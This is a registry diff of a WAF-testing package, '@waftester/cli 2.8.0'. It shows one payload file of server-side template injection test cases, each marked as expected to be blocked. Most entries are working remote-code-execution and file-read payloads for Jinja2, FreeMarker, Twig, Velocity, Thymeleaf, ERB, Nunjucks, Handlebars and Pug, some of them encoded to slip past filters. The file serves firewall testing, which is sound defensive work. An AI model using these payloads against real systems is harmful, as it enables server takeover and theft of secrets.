@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,584 @@
1
+ [
2
+ {
3
+ "id": "INJ-SSTI-340",
4
+ "payload": "{{7*7}}",
5
+ "tags": [
6
+ "jinja2",
7
+ "basic",
8
+ "quick"
9
+ ],
10
+ "expected_block": true,
11
+ "severity_hint": "High",
12
+ "notes": "Jinja2 basic template injection test (49)",
13
+ "category": "Injection"
14
+ },
15
+ {
16
+ "id": "INJ-SSTI-341",
17
+ "payload": "{{config}}",
18
+ "tags": [
19
+ "jinja2",
20
+ "flask",
21
+ "config-disclosure"
22
+ ],
23
+ "expected_block": true,
24
+ "severity_hint": "Critical",
25
+ "notes": "Jinja2/Flask config object disclosure (includes SECRET_KEY)",
26
+ "category": "Injection"
27
+ },
28
+ {
29
+ "id": "INJ-SSTI-342",
30
+ "payload": "{{config.items()}}",
31
+ "tags": [
32
+ "jinja2",
33
+ "flask",
34
+ "config-disclosure"
35
+ ],
36
+ "expected_block": true,
37
+ "severity_hint": "Critical",
38
+ "notes": "Jinja2/Flask enumerate all config items",
39
+ "category": "Injection"
40
+ },
41
+ {
42
+ "id": "INJ-SSTI-343",
43
+ "payload": "{{''.__class__.__mro__[1].__subclasses__()}}",
44
+ "tags": [
45
+ "jinja2",
46
+ "python",
47
+ "rce"
48
+ ],
49
+ "expected_block": true,
50
+ "severity_hint": "Critical",
51
+ "notes": "Jinja2 Python class traversal - RCE gadget search",
52
+ "category": "Injection"
53
+ },
54
+ {
55
+ "id": "INJ-SSTI-344",
56
+ "payload": "{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
57
+ "tags": [
58
+ "jinja2",
59
+ "rce"
60
+ ],
61
+ "expected_block": true,
62
+ "severity_hint": "Critical",
63
+ "notes": "Jinja2 RCE via request object - execute 'id' command",
64
+ "category": "Injection"
65
+ },
66
+ {
67
+ "id": "INJ-SSTI-345",
68
+ "payload": "{{lipsum.__globals__['os'].popen('cat /etc/passwd').read()}}",
69
+ "tags": [
70
+ "jinja2",
71
+ "rce",
72
+ "sensitive"
73
+ ],
74
+ "expected_block": true,
75
+ "severity_hint": "Critical",
76
+ "notes": "Jinja2 RCE via lipsum globals - read /etc/passwd",
77
+ "category": "Injection"
78
+ },
79
+ {
80
+ "id": "INJ-SSTI-346",
81
+ "payload": "{{cycler.__init__.__globals__.os.popen('whoami').read()}}",
82
+ "tags": [
83
+ "jinja2",
84
+ "rce"
85
+ ],
86
+ "expected_block": true,
87
+ "severity_hint": "Critical",
88
+ "notes": "Jinja2 RCE via cycler object",
89
+ "category": "Injection"
90
+ },
91
+ {
92
+ "id": "INJ-SSTI-347",
93
+ "payload": "{{joiner.__init__.__globals__.os.popen('ls').read()}}",
94
+ "tags": [
95
+ "jinja2",
96
+ "rce"
97
+ ],
98
+ "expected_block": true,
99
+ "severity_hint": "Critical",
100
+ "notes": "Jinja2 RCE via joiner object",
101
+ "category": "Injection"
102
+ },
103
+ {
104
+ "id": "INJ-SSTI-348",
105
+ "payload": "${7*7}",
106
+ "tags": [
107
+ "freemarker",
108
+ "basic",
109
+ "quick"
110
+ ],
111
+ "expected_block": true,
112
+ "severity_hint": "High",
113
+ "notes": "FreeMarker basic template injection test (49)",
114
+ "category": "Injection"
115
+ },
116
+ {
117
+ "id": "INJ-SSTI-349",
118
+ "payload": "<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}",
119
+ "tags": [
120
+ "freemarker",
121
+ "rce"
122
+ ],
123
+ "expected_block": true,
124
+ "severity_hint": "Critical",
125
+ "notes": "FreeMarker RCE - execute 'id' command",
126
+ "category": "Injection"
127
+ },
128
+ {
129
+ "id": "INJ-SSTI-350",
130
+ "payload": "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"java.lang.ProcessBuilder\",\"cat /etc/passwd\").start()}",
131
+ "tags": [
132
+ "freemarker",
133
+ "rce",
134
+ "sensitive"
135
+ ],
136
+ "expected_block": true,
137
+ "severity_hint": "Critical",
138
+ "notes": "FreeMarker RCE via ObjectConstructor - read /etc/passwd",
139
+ "category": "Injection"
140
+ },
141
+ {
142
+ "id": "INJ-SSTI-351",
143
+ "payload": "<#assign classLoader=object?api.class.getClassLoader()><#assign clazz=classLoader.loadClass(\"java.lang.Runtime\")><#assign field=clazz.getMethod(\"getRuntime\",null)><#assign runtime=field.invoke(null,null)><#assign result=runtime.exec(\"whoami\")>",
144
+ "tags": [
145
+ "freemarker",
146
+ "rce",
147
+ "java-reflection"
148
+ ],
149
+ "expected_block": true,
150
+ "severity_hint": "Critical",
151
+ "notes": "FreeMarker RCE via Java reflection",
152
+ "category": "Injection"
153
+ },
154
+ {
155
+ "id": "INJ-SSTI-352",
156
+ "payload": "${{7*7}}",
157
+ "tags": [
158
+ "twig",
159
+ "basic",
160
+ "quick"
161
+ ],
162
+ "expected_block": true,
163
+ "severity_hint": "High",
164
+ "notes": "Twig basic template injection test (49)",
165
+ "category": "Injection"
166
+ },
167
+ {
168
+ "id": "INJ-SSTI-353",
169
+ "payload": "{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}",
170
+ "tags": [
171
+ "twig",
172
+ "rce"
173
+ ],
174
+ "expected_block": true,
175
+ "severity_hint": "Critical",
176
+ "notes": "Twig RCE - register exec as filter callback",
177
+ "category": "Injection"
178
+ },
179
+ {
180
+ "id": "INJ-SSTI-354",
181
+ "payload": "{{['id']|filter('system')}}",
182
+ "tags": [
183
+ "twig",
184
+ "rce"
185
+ ],
186
+ "expected_block": true,
187
+ "severity_hint": "Critical",
188
+ "notes": "Twig RCE - execute command via filter",
189
+ "category": "Injection"
190
+ },
191
+ {
192
+ "id": "INJ-SSTI-355",
193
+ "payload": "{{_self.env.getRuntime('Twig\\\\Runtime\\\\DebugRuntime').dump()}}",
194
+ "tags": [
195
+ "twig",
196
+ "disclosure"
197
+ ],
198
+ "expected_block": true,
199
+ "severity_hint": "High",
200
+ "notes": "Twig debug runtime - variable disclosure",
201
+ "category": "Injection"
202
+ },
203
+ {
204
+ "id": "INJ-SSTI-356",
205
+ "payload": "#set($x='')##\n#set($rt=$x.class.forName('java.lang.Runtime'))##\n#set($chr=$x.class.forName('java.lang.Character'))##\n#set($str=$x.class.forName('java.lang.String'))##\n#set($ex=$rt.getRuntime().exec('id'))##\n$ex.waitFor()\n#set($out=$ex.getInputStream())##\n#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end",
206
+ "tags": [
207
+ "velocity",
208
+ "rce"
209
+ ],
210
+ "expected_block": true,
211
+ "severity_hint": "Critical",
212
+ "notes": "Velocity RCE - Java Runtime.exec",
213
+ "category": "Injection"
214
+ },
215
+ {
216
+ "id": "INJ-SSTI-357",
217
+ "payload": "#set($s='')$s.class.forName('java.lang.Runtime').getRuntime().exec('whoami')",
218
+ "tags": [
219
+ "velocity",
220
+ "rce"
221
+ ],
222
+ "expected_block": true,
223
+ "severity_hint": "Critical",
224
+ "notes": "Velocity RCE - short version",
225
+ "category": "Injection"
226
+ },
227
+ {
228
+ "id": "INJ-SSTI-358",
229
+ "payload": "{{7*'7'}}",
230
+ "tags": [
231
+ "jinja2",
232
+ "detection"
233
+ ],
234
+ "expected_block": true,
235
+ "severity_hint": "High",
236
+ "notes": "Jinja2 string multiplication test (7777777)",
237
+ "category": "Injection"
238
+ },
239
+ {
240
+ "id": "INJ-SSTI-359",
241
+ "payload": "${7*'7'}",
242
+ "tags": [
243
+ "freemarker",
244
+ "detection"
245
+ ],
246
+ "expected_block": true,
247
+ "severity_hint": "High",
248
+ "notes": "FreeMarker detection test",
249
+ "category": "Injection"
250
+ },
251
+ {
252
+ "id": "INJ-SSTI-360",
253
+ "payload": "{{self}}",
254
+ "tags": [
255
+ "jinja2",
256
+ "mako",
257
+ "detection"
258
+ ],
259
+ "expected_block": true,
260
+ "severity_hint": "Medium",
261
+ "notes": "Template self-reference - context disclosure",
262
+ "category": "Injection"
263
+ },
264
+ {
265
+ "id": "INJ-SSTI-361",
266
+ "payload": "{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}",
267
+ "tags": [
268
+ "jinja2",
269
+ "rce",
270
+ "file-read"
271
+ ],
272
+ "expected_block": true,
273
+ "severity_hint": "Critical",
274
+ "notes": "Jinja2 file read via class traversal",
275
+ "category": "Injection"
276
+ },
277
+ {
278
+ "id": "INJ-SSTI-362",
279
+ "payload": "{% for x in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(\"ls\").read()}}{% endif %}{% endfor %}",
280
+ "tags": [
281
+ "jinja2",
282
+ "rce"
283
+ ],
284
+ "expected_block": true,
285
+ "severity_hint": "Critical",
286
+ "notes": "Jinja2 RCE via warnings class gadget",
287
+ "category": "Injection"
288
+ },
289
+ {
290
+ "id": "INJ-SSTI-363",
291
+ "payload": "{{request['application']['\\x5f\\x5fglobals\\x5f\\x5f']['\\x5f\\x5fbuiltins\\x5f\\x5f']['\\x5f\\x5fimport\\x5f\\x5f']('os')['popen']('id')['read']()}}",
292
+ "tags": [
293
+ "jinja2",
294
+ "rce",
295
+ "encoded"
296
+ ],
297
+ "expected_block": true,
298
+ "severity_hint": "Critical",
299
+ "notes": "Jinja2 RCE with hex encoding bypass",
300
+ "category": "Injection"
301
+ },
302
+ {
303
+ "id": "INJ-SSTI-364",
304
+ "payload": "${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream()}",
305
+ "tags": [
306
+ "freemarker",
307
+ "file-read"
308
+ ],
309
+ "expected_block": true,
310
+ "severity_hint": "Critical",
311
+ "notes": "FreeMarker file read via URI resolution",
312
+ "category": "Injection"
313
+ },
314
+ {
315
+ "id": "INJ-SSTI-365",
316
+ "payload": "{{request|attr('application')|attr('\\x5f\\x5fglobals\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fbuiltins\\x5f\\x5f')}}",
317
+ "tags": ["jinja2", "attr-bypass", "encoded"],
318
+ "expected_block": true,
319
+ "severity_hint": "Critical",
320
+ "notes": "Jinja2 attr filter bypass chain",
321
+ "category": "Injection"
322
+ },
323
+ {
324
+ "id": "INJ-SSTI-366",
325
+ "payload": "{% for x in ().__class__.__base__.__subclasses__() %}{% if x.__name__ == 'catch_warnings' %}{{ x.__init__.__globals__['sys'].modules['os'].popen('id').read() }}{% endif %}{% endfor %}",
326
+ "tags": ["jinja2", "forloop", "rce"],
327
+ "expected_block": true,
328
+ "severity_hint": "Critical",
329
+ "notes": "Jinja2 for loop gadget chain",
330
+ "category": "Injection"
331
+ },
332
+ {
333
+ "id": "INJ-SSTI-367",
334
+ "payload": "{{g.pop.__globals__.__builtins__['__import__']('os').popen('id').read()}}",
335
+ "tags": ["jinja2", "flask", "g-object"],
336
+ "expected_block": true,
337
+ "severity_hint": "Critical",
338
+ "notes": "Flask g object exploitation",
339
+ "category": "Injection"
340
+ },
341
+ {
342
+ "id": "INJ-SSTI-368",
343
+ "payload": "{{url_for.__globals__.os.popen('id').read()}}",
344
+ "tags": ["jinja2", "flask", "url_for"],
345
+ "expected_block": true,
346
+ "severity_hint": "Critical",
347
+ "notes": "Flask url_for globals access",
348
+ "category": "Injection"
349
+ },
350
+ {
351
+ "id": "INJ-SSTI-369",
352
+ "payload": "{{get_flashed_messages.__globals__.__builtins__['open']('/etc/passwd').read()}}",
353
+ "tags": ["jinja2", "flask", "file-read"],
354
+ "expected_block": true,
355
+ "severity_hint": "Critical",
356
+ "notes": "Flask flashed messages file read",
357
+ "category": "Injection"
358
+ },
359
+ {
360
+ "id": "INJ-SSTI-370",
361
+ "payload": "${7*7}",
362
+ "tags": ["velocity", "el", "basic"],
363
+ "expected_block": true,
364
+ "severity_hint": "High",
365
+ "notes": "Velocity/EL basic injection",
366
+ "category": "Injection"
367
+ },
368
+ {
369
+ "id": "INJ-SSTI-371",
370
+ "payload": "$class.inspect(\"java.lang.Runtime\").type.getRuntime().exec(\"id\")",
371
+ "tags": ["velocity", "rce", "java"],
372
+ "expected_block": true,
373
+ "severity_hint": "Critical",
374
+ "notes": "Velocity Java Runtime exec",
375
+ "category": "Injection"
376
+ },
377
+ {
378
+ "id": "INJ-SSTI-372",
379
+ "payload": "#set($str=$class.inspect(\"java.lang.String\").type)\n#set($chr=$class.inspect(\"java.lang.Character\").type)\n#set($ex=$class.inspect(\"java.lang.Runtime\").type.getRuntime().exec(\"id\"))",
380
+ "tags": ["velocity", "rce", "multiline"],
381
+ "expected_block": true,
382
+ "severity_hint": "Critical",
383
+ "notes": "Velocity complex RCE chain",
384
+ "category": "Injection"
385
+ },
386
+ {
387
+ "id": "INJ-SSTI-373",
388
+ "payload": "#{7*7}",
389
+ "tags": ["thymeleaf", "spel", "basic"],
390
+ "expected_block": true,
391
+ "severity_hint": "High",
392
+ "notes": "Thymeleaf SpEL injection",
393
+ "category": "Injection"
394
+ },
395
+ {
396
+ "id": "INJ-SSTI-374",
397
+ "payload": "__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x",
398
+ "tags": ["thymeleaf", "spel", "rce"],
399
+ "expected_block": true,
400
+ "severity_hint": "Critical",
401
+ "notes": "Thymeleaf preprocessor RCE",
402
+ "category": "Injection"
403
+ },
404
+ {
405
+ "id": "INJ-SSTI-375",
406
+ "payload": "${T(java.lang.System).getenv()}",
407
+ "tags": ["spel", "env-disclosure"],
408
+ "expected_block": true,
409
+ "severity_hint": "Critical",
410
+ "notes": "SpEL environment variable disclosure",
411
+ "category": "Injection"
412
+ },
413
+ {
414
+ "id": "INJ-SSTI-376",
415
+ "payload": "${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}",
416
+ "tags": ["spel", "rce", "commons-io"],
417
+ "expected_block": true,
418
+ "severity_hint": "Critical",
419
+ "notes": "SpEL RCE with output via Commons IO",
420
+ "category": "Injection"
421
+ },
422
+ {
423
+ "id": "INJ-SSTI-377",
424
+ "payload": "*{T(java.lang.Runtime).getRuntime().exec('id')}",
425
+ "tags": ["thymeleaf", "selection-expression"],
426
+ "expected_block": true,
427
+ "severity_hint": "Critical",
428
+ "notes": "Thymeleaf selection expression RCE",
429
+ "category": "Injection"
430
+ },
431
+ {
432
+ "id": "INJ-SSTI-378",
433
+ "payload": "@{__${T(java.lang.Runtime).getRuntime().exec('id')}__}",
434
+ "tags": ["thymeleaf", "link-expression"],
435
+ "expected_block": true,
436
+ "severity_hint": "Critical",
437
+ "notes": "Thymeleaf link expression RCE",
438
+ "category": "Injection"
439
+ },
440
+ {
441
+ "id": "INJ-SSTI-379",
442
+ "payload": "~{__${T(java.lang.Runtime).getRuntime().exec('id')}__}",
443
+ "tags": ["thymeleaf", "fragment-expression"],
444
+ "expected_block": true,
445
+ "severity_hint": "Critical",
446
+ "notes": "Thymeleaf fragment expression RCE",
447
+ "category": "Injection"
448
+ },
449
+ {
450
+ "id": "INJ-SSTI-380",
451
+ "payload": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}",
452
+ "tags": ["freemarker", "rce", "execute"],
453
+ "expected_block": true,
454
+ "severity_hint": "Critical",
455
+ "notes": "FreeMarker Execute utility RCE",
456
+ "category": "Injection"
457
+ },
458
+ {
459
+ "id": "INJ-SSTI-381",
460
+ "payload": "[#assign ex='freemarker.template.utility.Execute'?new()]${ex('id')}",
461
+ "tags": ["freemarker", "rce", "alt-syntax"],
462
+ "expected_block": true,
463
+ "severity_hint": "Critical",
464
+ "notes": "FreeMarker alternate syntax RCE",
465
+ "category": "Injection"
466
+ },
467
+ {
468
+ "id": "INJ-SSTI-382",
469
+ "payload": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()>${ob(\"java.lang.ProcessBuilder\",\"id\").start()}",
470
+ "tags": ["freemarker", "rce", "processbuilder"],
471
+ "expected_block": true,
472
+ "severity_hint": "Critical",
473
+ "notes": "FreeMarker ProcessBuilder RCE",
474
+ "category": "Injection"
475
+ },
476
+ {
477
+ "id": "INJ-SSTI-383",
478
+ "payload": "${\"freemarker.template.utility.JythonRuntime\"?new()(\"import os; os.system('id')\")}",
479
+ "tags": ["freemarker", "jython", "rce"],
480
+ "expected_block": true,
481
+ "severity_hint": "Critical",
482
+ "notes": "FreeMarker Jython runtime RCE",
483
+ "category": "Injection"
484
+ },
485
+ {
486
+ "id": "INJ-SSTI-384",
487
+ "payload": "<%=7*7%>",
488
+ "tags": ["erb", "ruby", "basic"],
489
+ "expected_block": true,
490
+ "severity_hint": "High",
491
+ "notes": "ERB basic template injection",
492
+ "category": "Injection"
493
+ },
494
+ {
495
+ "id": "INJ-SSTI-385",
496
+ "payload": "<%=system('id')%>",
497
+ "tags": ["erb", "ruby", "rce"],
498
+ "expected_block": true,
499
+ "severity_hint": "Critical",
500
+ "notes": "ERB system command execution",
501
+ "category": "Injection"
502
+ },
503
+ {
504
+ "id": "INJ-SSTI-386",
505
+ "payload": "<%= `id` %>",
506
+ "tags": ["erb", "ruby", "backtick"],
507
+ "expected_block": true,
508
+ "severity_hint": "Critical",
509
+ "notes": "ERB backtick command execution",
510
+ "category": "Injection"
511
+ },
512
+ {
513
+ "id": "INJ-SSTI-387",
514
+ "payload": "<%= IO.popen('id').read %>",
515
+ "tags": ["erb", "ruby", "io-popen"],
516
+ "expected_block": true,
517
+ "severity_hint": "Critical",
518
+ "notes": "ERB IO.popen RCE",
519
+ "category": "Injection"
520
+ },
521
+ {
522
+ "id": "INJ-SSTI-388",
523
+ "payload": "<%= File.read('/etc/passwd') %>",
524
+ "tags": ["erb", "ruby", "file-read"],
525
+ "expected_block": true,
526
+ "severity_hint": "Critical",
527
+ "notes": "ERB arbitrary file read",
528
+ "category": "Injection"
529
+ },
530
+ {
531
+ "id": "INJ-SSTI-389",
532
+ "payload": "{{constructor.constructor('return this.process.mainModule.require(\"child_process\").execSync(\"id\")')()}}",
533
+ "tags": ["nunjucks", "nodejs", "rce"],
534
+ "expected_block": true,
535
+ "severity_hint": "Critical",
536
+ "notes": "Nunjucks/Node.js RCE",
537
+ "category": "Injection"
538
+ },
539
+ {
540
+ "id": "INJ-SSTI-390",
541
+ "payload": "{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('id')\")()}}",
542
+ "tags": ["nunjucks", "range", "rce"],
543
+ "expected_block": true,
544
+ "severity_hint": "Critical",
545
+ "notes": "Nunjucks range.constructor RCE",
546
+ "category": "Injection"
547
+ },
548
+ {
549
+ "id": "INJ-SSTI-391",
550
+ "payload": "{{#with \"s\" as |string|}}\n{{#with \"e\"}}\n{{#with split as |conslist|}}\n{{this.pop}}\n{{this.push (lookup string.sub \"constructor\")}}\n{{this.pop}}\n{{#with string.split as |codelist|}}\n{{this.pop}}\n{{this.push \"return require('child_process').exec('id');\"}}\n{{this.pop}}\n{{#each conslist}}\n{{#with (string.sub.apply 0 codelist)}}\n{{this}}\n{{/with}}\n{{/each}}\n{{/with}}\n{{/with}}\n{{/with}}\n{{/with}}",
551
+ "tags": ["handlebars", "nodejs", "rce"],
552
+ "expected_block": true,
553
+ "severity_hint": "Critical",
554
+ "notes": "Handlebars prototype pollution RCE",
555
+ "category": "Injection"
556
+ },
557
+ {
558
+ "id": "INJ-SSTI-392",
559
+ "payload": "{{this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()}}",
560
+ "tags": ["pug", "jade", "nodejs", "rce"],
561
+ "expected_block": true,
562
+ "severity_hint": "Critical",
563
+ "notes": "Pug/Jade Node.js RCE",
564
+ "category": "Injection"
565
+ },
566
+ {
567
+ "id": "INJ-SSTI-393",
568
+ "payload": "#set($x='')##\n#set($rt=$x.class.forName('java.lang.Runtime'))##\n#set($chr=$x.class.forName('java.lang.Character'))##\n#set($str=$x.class.forName('java.lang.String'))##\n$rt.getRuntime().exec('id')",
569
+ "tags": ["velocity", "rce", "obfuscated"],
570
+ "expected_block": true,
571
+ "severity_hint": "Critical",
572
+ "notes": "Velocity obfuscated RCE chain",
573
+ "category": "Injection"
574
+ },
575
+ {
576
+ "id": "INJ-SSTI-394",
577
+ "payload": "{{['id']|filter('system')}}",
578
+ "tags": ["twig", "php", "rce"],
579
+ "expected_block": true,
580
+ "severity_hint": "Critical",
581
+ "notes": "Twig filter system RCE",
582
+ "category": "Injection"
583
+ }
584
+ ]